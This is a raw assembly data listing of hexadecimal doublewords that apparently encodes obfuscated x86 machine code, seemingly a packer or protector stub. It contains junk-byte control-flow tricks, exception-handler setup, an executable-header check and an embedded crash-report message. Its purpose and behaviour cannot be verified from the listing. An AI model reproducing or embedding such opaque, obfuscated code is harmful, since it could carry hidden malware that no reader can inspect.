		dd 18042444h, 42000000h, 0AA40C352h, 662EC2A1h,	0EFB1C281h
		dd 6660C08Bh, 616869BEh, 0BD8362B1h, 6A9131Dh, 83097500h
		dd 0A91431BDh, 19740006h, 0C08B5350h, 7D3B8h, 45858900h
		dd 8D06A924h, 0ABB45C9Dh, 5BD3FF06h, 31BD8358h,	6A914h
		dd 53501774h, 7D3B8h, 45858900h, 8D06A924h, 0ABB14B9Dh
		dd 5BD3FF06h, 52B96658h, 4FF781B7h, 8B16CD8Dh, 0C820FC0h
		dd 0F000000h, 680h, 850F00h, 81000000h,	0ABF62CBDh, 65726F06h
		dd 0D0840F61h, 0E9000000h, 6, 5419BBFDh, 858DAC4Dh, 6ABF6A4h
		dd 0E1858D50h, 5006ABF7h, 0F802858Dh, 0FF5006ABh, 0A900D995h
		dd 0CC48306h, 16B185C6h, 684406A9h, 96A3184Fh, 155B5FFh
		dd 858D06A9h, 6A93C26h,	0D88BD0FFh, 0F802858Dh,	0FF5006ABh
		dd 2C858DD3h, 5006ABF6h, 0F6A4858Dh, 835006ABh,	0A92E71BDh
		dd 8740006h, 0F7CA858Dh, 6EB06ABh, 0F7B3858Dh, 8D5006ABh
		dd 0ABF80285h, 95FF5006h, 6A900D9h, 6A10C483h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 9F99C357h, 4062446h,	19800F73h, 0E9000000h, 14h, 0E94C4012h
		dd 66794730h, 9DF7E8FAh, 43E2C83Bh, 2FB799EAh, 28BD8D8Bh
		dd 7FBA06A9h, 0FF56593Dh, 0A904BD95h, 0FF2506h,	6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 76853C3h, 215A2A18h,	83FCCA8Bh, 830F05F8h, 45h, 9585C7F8h
		dd 106A91Dh, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0B745C353h,	0F7B0370Bh
		dd 921BD89h, 858D06A9h,	6ABF660h, 7AE9C3B5h, 89000000h
		dd 0A9126D8Dh, 71BD8306h, 6A92Eh, 59840Fh, 858D0000h, 6ABF68Bh
		dd 0FE856h, 7A070000h, 53DC3AA0h, 8EE32C66h, 2C38FDECh
		dd 0B197BACDh, 5F5A2459h, 49958Bh, 3AE906A9h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0BF90C356h, 29B60BF8h, 0A9061585h, 0C18D3106h
		dd 8D06A91Ch, 0ABF66D85h, 8D8B5206h, 6A90FD1h, 0A0858959h
		dd 0F06ABF6h, 681h, 81952900h, 8306A91Dh, 0A92E71BDh, 850F0006h
		dd 16h,	27F1958Bh, 0BD8306A9h, 6AC0627h, 8840F00h, 0F000000h
		dd 0A3E9C9BFh, 0E9000010h, 4C5h, 0C08BCA8Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 86C35545h, 1DBD83C7h
		dd 6A913h, 0BD830975h, 6A91431h, 50197400h, 0B8C08B53h
		dd 7D4h, 24458589h, 9D8D06A9h, 6ABB45Ch, 585BD3FFh, 1431BD83h
		dd 740006A9h, 0B8535017h, 7D4h,	24458589h, 9D8D06A9h, 6ABB14Bh
		dd 585BD3FFh, 0C820Fh, 870F0000h, 6, 1D5DB589h,	0BF0F06A9h
		dd 89C08BCBh, 0A92929B5h, 3F6806h, 0B501000Fh, 6A93369h
		dd 6A006Ah, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 20C35343h, 0BD8B5D8Ah, 6A9034Dh, 2840F57h
		dd 60000000h, 95FF5F61h, 6A909F1h, 850FC085h, 32h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0AC35646h, 194F0BAFh
		dd 0C88060F0h, 8A0F13h,	61000000h, 46D9D89h, 858906A9h
		dd 6ABF624h, 58C0Fh, 81660000h,	6A9E7BE2h, 6A14B500h, 0D9B58900h
		dd 6A06A920h, 3D958B00h, 6A06A913h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0E14DF3D7h
		dd 58B0F24h, 66000000h,	25B1E181h, 6ACABF0Fh, 8BA6600h
		dd 2858D68h, 5006ABF8h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0EAC35646h, 44E27BD7h, 0F4AE936h, 189h
		dd 16AF500h, 0D1BF0F60h, 17E1BD8Bh, 6A6106A9h, 18E0F01h
		dd 0F9000000h, 0BD8B016Ah, 6A91489h, 0F01FF68h,	35958900h
		dd 8306A90Ch, 0A92E71BDh, 840F0006h, 37h, 0B498D8Bh, 858D06A9h
		dd 6ABF681h, 11A99531h,	29E906A9h, 0E8000000h, 14h, 0A423BF01h
		dd 0C2B63E7Ch, 78DD733Dh, 168F73E7h, 668A3B27h,	17498D33h
		dd 8D5A06A9h, 0ABF65785h, 0F9BF0F06h, 14CA8150h, 500585B0h
		dd 0F08A68BFh, 24B5FF6Bh, 6A06ABF6h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0A0BBC356h
		dd 85B7BF75h, 6650C4D2h, 0FF550DBAh, 0ABF61095h, 0FC08506h
		dd 2A85h, 0D58D8900h, 0E906A932h, 70h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 7BC35040h, 89D0B70Fh, 0ABF62885h
		dd 5DBD0106h, 0FF06A91Dh, 0ABF628B5h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 0C7502408h, 0BAA9C107h, 95FF31C9h, 6A91CCDh,	4B58D89h
		dd 0C08506A9h, 6850Fh, 0BD8B0000h, 6A91E55h, 6A106Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 3ADBCCC3h, 0EB900C5h, 0BF378259h, 70D6981Ch,	2E71BD83h
		dd 0F0006A9h, 2E84h, 0DBB96600h, 11E902h, 98D50000h, 336552BAh
		dd 910B89ACh, 1C1A4C3Bh, 8D534EF9h, 0ABF68185h,	0D9D8906h
		dd 0E906A915h, 30h, 8DF8B70Fh, 0ABF65785h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 0AB889B72h, 0B5896DE0h, 6A934E9h, 55006A50h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0B1C6DD09h
		dd 0CEE18185h, 0FF4451F8h, 0ABF624B5h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 0FA65234Eh, 95FF0175h, 6ABF61Ch, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 34C35343h, 808CD795h, 0C085C0EEh
		dd 6850Fh, 0BD8B0000h, 6A90371h, 0F6288589h, 0BD0106ABh
		dd 6A92E59h, 0E184B966h, 8589006Ah, 6A90655h, 6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 6501A5C3h, 65952920h, 8B06A90Dh, 0A935B58Dh,	28B5FF06h
		dd 8B06ABF6h, 0A92C818Dh, 1495FF06h, 0E806ABF6h, 13h, 0BDABE3F7h
		dd 46A9D34h, 4FC49FE7h,	2BE86E38h, 66805F72h, 0C732EF81h
		dd 0FC0855Fh, 1D85h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0B5FFD121h, 6ABF628h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 19C35343h
		dd 76AE3916h, 0FF9832CBh, 0A91CCD95h, 0F98D8B06h, 8506A933h
		dd 0A850FC0h, 0F000000h, 488h, 3EBF6600h, 89006AE2h, 0A9085985h
		dd 44CA8006h, 8068h, 6E800h, 79F90000h,	0CE22BB10h, 0DA5B589h
		dd 6A5906A9h, 6A006A03h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0D69CC356h,	71B9661Ch
		dd 68006A7Ch, 0C0000000h, 0B5FFFB8Bh, 6ABF6A0h,	1D1DB589h
		dd 95FF06A9h, 6A91075h,	0B526A7B9h, 0FFF88313h,	45E850Fh
		dd 0BD8B0000h, 6A92D71h, 6800Fh, 85890000h, 6A92D91h, 10E85FFh
		dd 880F06ACh, 6, 119DBD8Bh, 0BD8306A9h,	6AC010Eh, 6B840F02h
		dd 0E9000003h, 0Eh, 0DA1A9A95h,	0C3E70820h, 0A55C5E0Eh
		dd 858D8CE6h, 5B243Bh, 0FFF88B66h, 79BD8BD0h, 0E806A929h
		dd 9, 8FBAF7Ah,	15B26878h, 0E4B966F4h, 858D590Fh, 5B1E8Eh
		dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 300FD4C3h, 0E943B70Dh, 89C08B5Dh,	0A913F585h
		dd 1DBD8306h, 6A913h, 0BD830975h, 6A91431h, 50197400h
		dd 0B8C08B53h, 7D8h, 24458589h,	9D8D06A9h, 6ABB45Ch, 585BD3FFh
		dd 1431BD83h, 740006A9h, 0B8535017h, 7D8h, 24458589h, 9D8D06A9h
		dd 6ABB14Bh, 585BD3FFh,	53D78B66h, 25119529h, 8B5A06A9h
		dd 98529C0h, 6806A911h,	0F003Fh, 29798D8Bh, 6A06A9h, 26958D8Bh
		dd 6A06A9h, 0B531DBB6h,	6A9218Dh, 9F195FFh, 0BA6606A9h
		dd 0C0852D5Fh, 12EDBD03h, 858906A9h, 6ABF624h, 29D18B60h
		dd 0A90F298Dh, 0FF686106h, 60000F01h, 145B560h,	0A912518Dh
		dd 8B666106h, 0BD8361DAh, 6A92E71h, 1D840F00h, 8B000000h
		dd 0EF8166D3h, 858DF1B4h, 6ABF681h, 1ED98166h, 12E97Fh
		dd 0BD290000h, 6A91A4Dh, 0F657858Dh, 8D8B06ABh,	6A91A85h
		dd 24B5FF50h, 0E906ABF6h, 11h, 1D4FCF93h, 0FB2DB8B2h, 2EF45E76h
		dd 28379394h, 1C95FF00h, 8B06ABF6h, 288589C8h, 0F06ABF6h
		dd 89h,	0B5896000h, 6A91675h, 3185C761h, 6A90Ch, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 204C352h,	70CBFC3Eh, 9F232810h, 0BF66D58Ah
		dd 0BD83536Bh, 6ABF628h, 94840F00h, 60000001h, 0EFA3D781h
		dd 0BF662C29h, 8D61DE4Eh, 0ABF90685h, 0D202BA06h, 3505086h
		dd 0A90F1595h, 0E9016A06h, 6, 0F4209670h, 820FC398h, 0
		dd 0F628B5FFh, 8D0F06ABh, 6, 32E5958Bh,	95FF06A9h, 6ABF620h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 90C35242h
		dd 35EBC4CBh, 0BD099F2Fh, 6A90E25h, 0F628B5FFh,	6A06ABh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 3F19D4C3h, 8C0FE0BDh, 51D98131h, 0FF28821Fh,	0A91CCD95h
		dd 0DE906h, 586E0000h, 5CA94B52h, 0BAF30E7Eh, 68C0709Bh
		dd 0F01FFh, 9419531h, 0BD8306A9h, 6A92E71h, 2C840F00h
		dd 0F5000000h, 81858DF8h, 8B06ABF6h, 2CE9F8h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 8D61FDC3h, 0ABF65785h, 3850F06h, 0F000000h, 8B50F9B7h
		dd 24B5FFD1h, 6A06ABF6h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0CCE5C352h,	0F55BFC2Eh
		dd 0F61C95FFh, 858906ABh, 6A91699h, 0F6288589h,	0D38B06ABh
		dd 0F628B5FFh, 14E806ABh, 0F2000000h, 97FFED7Ah, 5C797D11h
		dd 0E9D643AEh, 3F58B12Ah, 0FD239A2h, 0FF59D2BFh, 0ABF61895h
		dd 0CF8B5306h, 28B5FF59h, 8906ABF6h, 0A9354D9Dh, 0CD95FF06h
		dd 0F06A91Ch, 684h, 398D8B00h, 0E906A91Eh, 0FFFFF736h
		dd 3FECCF81h, 0B5FF2DB8h, 6AC0171h, 58D8B52h, 5A06A908h
		dd 328195FFh, 8B6606A9h, 0E5858BC8h, 5606A908h,	1A05BD8Bh
		dd 0E95A06A9h, 58Eh, 194B966h, 0F926B58Dh, 7E906ABh, 60000000h
		dd 60B578ABh, 858DEEC4h, 6ABA6B1h, 0DF8B6660h, 9E9h, 31371200h
		dd 0C739F192h, 0FF61DEE6h, 19D89D0h, 6A06A91Eh,	4195FF00h
		dd 8B06A920h, 0A909958Dh, 49958906h, 8B06A917h,	0FAB70FF3h
		dd 6880Fh, 0B5290000h, 6A91065h, 0A6B1858Dh, 0E85206ABh
		dd 0Ah,	0E4703FB6h, 0A2D8C542h,	950B1DCCh, 6A90BF9h, 0D0FF5A59h
		dd 50006AF8h, 150D9D09h, 0FF5A06A9h, 0A9204195h, 0C9816606h
		dd 9D01CDB4h, 6A92D15h,	0B589C08Bh, 6A91285h, 131DBD83h
		dd 750006A9h, 31BD8309h, 6A914h, 53501974h, 0D9B8C08Bh
		dd 89000007h, 0A9244585h, 5C9D8D06h, 0FF06ABB4h, 83585BD3h
		dd 0A91431BDh, 17740006h, 0D9B85350h, 89000007h, 0A9244585h
		dd 4B9D8D06h, 0FF06ABB1h, 51585BD3h, 2C9D9D29h,	0F5906A9h
		dd 1E84h, 12E800h, 0C1860000h, 88C8B1BAh, 8F6917AEh, 0E6F6A5ACh
		dd 5306CD9Fh, 0DAD8589h, 815F06A9h, 1053E8CAh, 8BC08B13h
		dd 0A93269BDh, 0B5BD2B06h, 5006A907h, 2D0D9523h, 958906A9h
		dd 6A90359h, 952BD88Bh,	6A933E5h, 119D8D53h, 8B06A916h
		dd 8B038903h, 43895043h, 0A9D8D50h, 8B06AC01h, 5B038903h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 17C35141h
		dd 0FCFD4895h, 85895030h, 6A9060Dh, 8E8h, 0DE65BF00h, 3A02E83Fh
		dd 58C0F86h, 0BF000000h, 607A7E5Ah, 6A006A5Ah, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 1521C352h, 0C8599CE1h, 32F938A0h, 0A4DBD89h,	858D06A9h
		dd 6AC010Ah, 7526B966h,	0C8BF0F50h, 958B606Ah, 6A91DBDh
		dd 1611858Dh, 6A06A9h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 254A69C3h, 0B2705D92h, 8166628Dh
		dd 505D8FD9h, 28B0Fh, 0ECB20000h, 14E9006Ah, 3000000h
		dd 3C58FF8h, 0B1C3801Eh, 0A4A79217h, 637F70C0h,	6A47837Dh
		dd 6FBA6600h, 180068FDh, 0F38A0000h, 7D9D8953h,	0FF06A903h
		dd 0A90DF595h, 898D0106h, 0FF06A90Eh, 0A92A6195h, 71B5FF06h
		dd 8906AC01h, 0A9281195h, 8195FF06h, 6A06A932h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 4C8EC357h, 0BD89FCFFh, 6A913C5h, 858D4FB2h, 6A91611h
		dd 1DDD9589h, 11E906A9h, 0D5000000h, 53B9D2D8h,	5304E6ADh
		dd 0D00F74CEh, 8E4D4E0Bh, 8B18408Bh, 0A91E91BDh, 6985C706h
		dd 6A91Fh, 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 44D4C357h, 59C32830h, 8195EF25h
		dd 85E367C7h, 71BD834Fh, 6A92Eh, 1F840Fh, 0BF0F0000h, 0CEEF81D3h
		dd 3D03C538h, 8Ch, 173830Fh, 0FB8B0000h, 12E9h,	0C3BF6600h
		dd 983DEBh, 830F0000h, 15Dh, 8D3CDA80h,	5B243B85h, 7D853100h
		dd 0FF06A916h, 57006AD0h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 4C65E55Dh, 7D12DA9Ch
		dd 8B56CF8Bh, 858D5AFBh, 5B1E8Eh, 397459B9h, 23D0FF62h
		dd 0A9001D8Dh, 0FC08B06h, 68Ah,	41958B00h, 5306A90Eh, 5A8CE580h
		dd 131DBD83h, 750006A9h, 31BD8309h, 6A914h, 53501974h
		dd 0C6B8C08Bh, 8900000Bh, 0A9244585h, 5C9D8D06h, 0FF06ABB4h
		dd 83585BD3h, 0A91431BDh, 17740006h, 0C6B85350h, 8900000Bh
		dd 0A9244585h, 4B9D8D06h, 0FF06ABB1h, 66585BD3h, 288EC981h
		dd 8B50FC60h, 0A90FA19Dh, 8B615E06h, 0FFF883C0h, 43850Fh
		dd 85C70000h, 6A91525h,	0
		dd 0D1A7BA66h, 150E9h, 57006A00h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0A2B32535h, 2C75BD8Bh
		dd 47E906A9h, 8B000000h, 0A932ED8Dh, 1F88306h, 38850Fh
		dd 0FE90000h, 0A7000000h, 0A0FCEDCh, 2914F6F3h,	0BAC7CDC6h
		dd 3BE9A347h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0F353C356h,	8FE9EC8Ah
		dd 60FFFFF2h, 0CFDB589h, 0D28106A9h, 10743072h,	6AC08B61h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 4C8DC350h, 8BB55104h, 0A925A18Dh,	1DBD8306h
		dd 6A913h, 0BD830975h, 6A91431h, 50197400h, 0B8C08B53h
		dd 7DDh, 24458589h, 9D8D06A9h, 6ABB45Ch, 585BD3FFh, 1431BD83h
		dd 740006A9h, 0B8535017h, 7DDh,	24458589h, 9D8D06A9h, 6ABB14Bh
		dd 585BD3FFh, 10959529h, 6A06A9h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0BD0B35C3h, 0FF8C154h
		dd 687h, 95B58900h, 0F906A929h,	13E9C08Bh, 0F0000000h
		dd 4897202Fh, 55C73EEFh, 5D7291D0h, 0F0BBCE90h,	57E941D2h
		dd 8B000002h, 0A90D0DBDh, 0E858D06h, 6A06ABFFh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0B4D2C355h, 0B5BF4E2Bh, 8951BF41h, 0AC010685h, 0E9F18A06h
		dd 6Fh,	1421BD09h, 858D06A9h, 6ABFD16h,	24DD8D8Bh, 6A4006A9h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 31BC350h,	60590414h, 7D683938h, 2D9D9D89h
		dd 0AE806A9h, 3D000000h, 4E16544Ch, 9E318BB2h, 9E834h
		dd 89800000h, 0ED00D187h, 89F2F15Dh, 0A923F9BDh, 895A5F06h
		dd 0AC010685h, 7D858906h, 6A06A916h, 7D858D34h,	5006A90Bh
		dd 106B5FFh, 6A06ACh, 210595FFh, 0F88306A9h, 68840F07h
		dd 66000001h, 0C3F6DB8Ch, 2850F04h, 0C6000001h,	0A916B185h
		dd 52685606h, 0FF9CA8B8h, 0A90155B5h, 26858D06h, 0FF06A93Ch
		dd 68046AD0h, 1000h, 6A646Ah, 8589D0FFh, 6AC0179h, 16B185C6h
		dd 684706A9h, 0EC18AC9Bh, 155B5FFh, 858D06A9h, 6A93C26h
		dd 0D0FFD0FFh, 85C6F08Bh, 6A916B1h, 2661684Fh, 0B5FFC62Fh
		dd 6A9004Dh, 3C26858Dh,	0D0FF06A9h, 1759D8Dh, 6A5306ACh
		dd 0D0FF5628h, 75C085h,	16B185C6h, 684106A9h, 0DB876498h
		dd 4DB5FFh, 858D06A9h, 6A93C26h, 8589D0FFh, 6AC0192h, 16B185C6h
		dd 684C06A9h, 80A4E7A4h, 4DB5FFh, 858D06A9h, 6A93C26h
		dd 9D8BD0FFh, 6AC0179h,	53045B8Dh, 17E9D8Dh, 6A5306ACh
		dd 8BD0FF00h, 0AC01799Dh, 103C706h, 0C7000000h,	20C43h
		dd 9D8B0000h, 6A90115h,	24D985C7h, 6A9h, 6A0000h, 6A006Ah
		dd 1799D8Bh, 6A5306ACh,	75B5FF00h, 0FF06AC01h, 0AC019295h
		dd 0B185C606h, 4506A916h, 0A5F79768h, 21B5FF92h, 8D06A927h
		dd 0A93C2685h, 6AD0FF06h, 0FF026A00h, 0DB8C66D0h, 7504C3F6h
		dd 799D8B32h, 0C706AC01h, 0C43h, 6A0000h, 9D8B006Ah, 6AC0179h
		dd 0FF006A53h, 0AC0175B5h, 9295FF06h, 0FF06AC01h, 0AC0175B5h
		dd 6195FF06h, 6A06A92Ah, 4195FF00h, 0E806A920h,	0Eh, 0BAB4A381h
		dd 99E95736h, 99B05934h, 0C88BAC1Dh, 6633B959h,	858D2B09h
		dd 6AC32C1h, 12E8h, 87F03600h, 5EF87C1Eh, 75CD5C86h, 4D290DBAh
		dd 8B3BA72Fh, 89505AD0h, 0A92C19B5h, 35FF6406h,	0
		dd 11E9h, 372C1A00h, 711B1F9Bh,	0D93A7796h, 63EF2378h
		dd 8964042Dh, 25h, 0E9BD8300h, 6A927h, 65840Fh,	6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 236DDFC3h, 0A9003DBDh, 0ADBD8306h, 106A912h,	35850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 9EE43CC3h, 92BD80F1h, 6AC05h, 9850Fh, 0B70F0000h
		dd 101E9FAh, 33F90000h,	21B589DBh, 3306A923h, 0F40FCC0h
		dd 640B073Fh, 58Fh, 0C4830000h,	95B52904h, 5706A921h, 0C7D8D29h
		dd 895906A9h, 0A923F995h, 0FFFB8306h, 9840Fh, 0BF660000h
		dd 0B6E953BFh, 0E9000000h, 4Ch,	11018589h, 4C8B06A9h, 81C70C24h
		dd 0A4h, 0FFFFFFFFh, 0B88183h, 33040000h, 5C8BC3C0h, 0E8550C24h
		dd 0
		dd 0E3ED815Dh, 8B06AC32h, 0B883h, 76858D00h, 8906AC33h
		dd 0B883h, 0C0335D00h, 66C8B6C3h, 0A76AC981h, 32D9858Dh
		dd 12E906ACh, 0DB000000h, 43C82265h, 280B7AC8h,	0FB2EA594h
		dd 36FD0AB9h, 95895070h, 6A90351h, 35FF64h, 66000000h
		dd 41F6DA81h, 258964h, 29000000h, 0A92891BDh, 0AB906h
		dd 4B80000h, 54855D7h, 0DF78164h, 85D465BBh, 0B640BA86h
		dd 0EA810034h, 345FE8h,	68FB81EDh, 75564D58h, 0F585C70Ah
		dd 106A900h, 64000000h,	58Fh, 0C4830000h, 0CD8D2904h, 8906A914h
		dd 0A928059Dh, 6AC08B06h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0F7CAC351h,	8B663D0Fh
		dd 1DBD83CBh, 6A913h, 0BD830975h, 6A91431h, 50197400h
		dd 0B8C08B53h, 43Dh, 2098589h, 9D8D06A9h, 6ABB4C3h, 585BD3FFh
		dd 1431BD83h, 740006A9h, 0B8535017h, 43Dh, 2098589h, 9D8D06A9h
		dd 6ABB164h, 585BD3FFh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 30C35040h, 3798C8A1h,	2CE81997h, 0B595891Dh
		dd 0F06A920h, 480h, 0BB96600h, 0E9C08B94h, 147h, 4, 31392E31h
		dd 30h,	6 dup(0)
		dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h
		dd 6E6F69h, 61656C50h, 202C6573h, 746E6F63h, 20746361h
		dd 20656874h, 74666F73h, 65726177h, 76656420h, 706F6C65h
		dd 20737265h, 68746977h, 65687420h, 6C6F6620h, 69776F6Ch
		dd 6320676Eh, 7365646Fh, 6854202Eh, 206B6E61h, 2E756F79h
		dd 0D0A0D0Ah, 2	dup(20202020h),	65727028h, 43207373h, 2B4C5254h
		dd 6E6F2043h, 69687420h, 69772073h, 776F646Eh, 206F7420h
		dd 79706F63h, 206F7420h, 70696C63h, 72616F62h, 20202964h
		dd 0D0A2020h, 65560D0Ah, 6F697372h, 3D20206Eh, 0A732520h
		dd 6568430Dh, 4E496B63h, 203D2020h, 0D0A6425h, 63656843h
		dd 54554F6Bh, 25203D20h, 500D0A64h, 49636F72h, 2020204Eh
		dd 6425203Dh, 72500D0Ah, 554F636Fh, 3D202054h, 0A642520h
		dd 6978450Dh, 204E4974h, 203D2020h, 0D0A6425h, 74697845h
		dd 2054554Fh, 25203D20h, 540D0A64h, 206E6950h, 20202020h
		dd 6425203Dh, 83000D0Ah, 0A90CB1BDh, 840F0006h,	12Dh, 0AF7B858Dh
		dd 8D5006ABh, 0ABAEE585h, 1685006h, 0FF800000h,	0ABAF8B95h
		dd 37858D06h, 5006AC34h, 3441858Dh, 6A5006ACh, 8D006A00h
		dd 0ABAEF985h, 0B5FF5006h, 6ABAF7Bh, 1D8595FFh,	858D06A9h
		dd 6AC3437h, 45858D50h,	5006AC34h, 6A006Ah, 0AF0B858Dh
		dd 0FF5006ABh, 0ABAF7BB5h, 8595FF06h, 8D06A91Dh, 0AC343785h
		dd 858D5006h, 6AC3451h,	6A006A50h, 58858D00h, 5006ABAFh
		dd 0AF7BB5FFh, 95FF06ABh, 6A91D85h, 3437858Dh, 8D5006ACh
		dd 0AC345985h, 6A5006h,	858D006Ah, 6ABAF76h, 7BB5FF50h
		dd 0FF06ABAFh, 0A91D8595h, 37858D06h, 5006AC34h, 3455858Dh
		dd 6A5006ACh, 8D006A00h, 0ABAF5F85h, 0B5FF5006h, 6ABAF7Bh
		dd 1D8595FFh, 858D06A9h, 6AC3437h, 49858D50h, 5006AC34h
		dd 6A006Ah, 0AF67858Dh,	0FF5006ABh, 0ABAF7BB5h,	8595FF06h
		dd 8D06A91Dh, 0AC343785h, 858D5006h, 6AC344Dh, 6A006A50h
		dd 6E858D00h, 5006ABAFh, 0AF7BB5FFh, 95FF06ABh,	6A91D85h
		dd 0AF7BB5FFh, 95FF06ABh, 6A90A19h, 0A2E9h, 75BD8300h
		dd 6A926h, 95840Fh, 0BD830000h,	6A912ADh, 11850F00h, 8B000000h
		dd 0A91A5195h, 0F8C28106h, 0E900001Ch, 0Fh, 1611958Dh
		dd 528B06A9h, 40C28134h, 893BD4C3h, 0A91A7995h,	79BD8306h
		dd 6A91Ah, 55840Fh, 9D8B0000h, 6A91A79h, 8B4CC383h, 41858903h
		dd 8B06AC34h, 0A91A799Dh, 50C38306h, 8589038Bh,	6AC3445h
		dd 1A799D8Bh, 0C38306A9h, 89038B54h, 0AC345185h, 799D8B06h
		dd 8306A91Ah, 38B58C3h,	34558589h, 9D8B06ACh, 6A91A79h
		dd 8B5CC383h, 49858903h, 8306AC34h, 0A90CB1BDh,	850F0006h
		dd 0Dh,	2675BD83h, 0F0006A9h, 6884h, 59B5FF00h,	0FF06AC34h
		dd 0AC344DB5h, 49B5FF06h, 0FF06AC34h, 0AC3455B5h, 51B5FF06h
		dd 0FF06AC34h, 0AC3445B5h, 41B5FF06h, 8D06AC34h, 0AC343B85h
		dd 858D5006h, 6AC3473h,	0E5858D50h, 5006A917h, 0D995FFh
		dd 0C48306A9h, 8D406A24h, 0AC345D85h, 858D5006h, 6A917E5h
		dd 0FF006A50h, 0A9210595h, 0FF016A06h, 0A9204195h, 0EBC18B06h
		dd 46F31718h, 9Bh, 4 dup(0)
		dd 20BE900h, 8B600000h,	0E824245Ch, 0
		dd 7ED815Dh, 6106AC38h,	0E90004C2h, 0FFFFFFE6h,	8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 2 dup(0)
		dd 0E9C36160h, 0FFFFFFF8h, 383FB58Bh, 0E68106ACh, 0FFFFF000h
		dd 0BE9h, 19E800h, 0C6810000h, 1000h, 3843B53Bh, 860F06ACh
		dd 0FFFFFFE9h, 0FD8200Fh, 60CFD822h, 6650C361h,	324C88Ch
		dd 840FC00Ah, 19h, 2BB5350h, 8B000000h,	0A91A7985h, 0A188606h
		dd 0F6850FDBh, 5BFFFFFFh, 4FF5858h, 0CFE9C324h,	50FFFFFFh
		dd 82474FFh, 16DD95FFh,	0F5006A9h, 0FE244C01h, 1CC08358h
		dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h
		dd 9840FC0h, 8B000000h,	0A91A7985h, 0C606h, 2404FF58h
		dd 0E90004C2h, 0FFFFFFBBh, 8C665053h, 3E380CBh,	840FDB0Ah
		dd 38h,	2BBh, 79858B00h, 8606A91Ah, 0FDB0A18h, 0FFFFF685h
		dd 0B985C7FFh, 6A933h, 8B000000h, 8B082444h, 100098h, 988900h
		dd 8B000010h, 0E9188918h, 0Ah, 33B985C7h, 10006A9h, 5B580000h
		dd 0C32404FFh, 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h
		dd 763AB7A1h, 1B101B0h,	13E9h, 0C88AAC00h, 0C332C302h
		dd 0BAACBD1h, 1840FD2h,	4A000000h, 850FC90Ah, 0FFFFFFE5h
		dd 850FD20Bh, 0FFFFFFDDh, 8B52C361h, 7A8B57D4h,	0E9C03308h
		dd 1, 3F80AAh, 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h
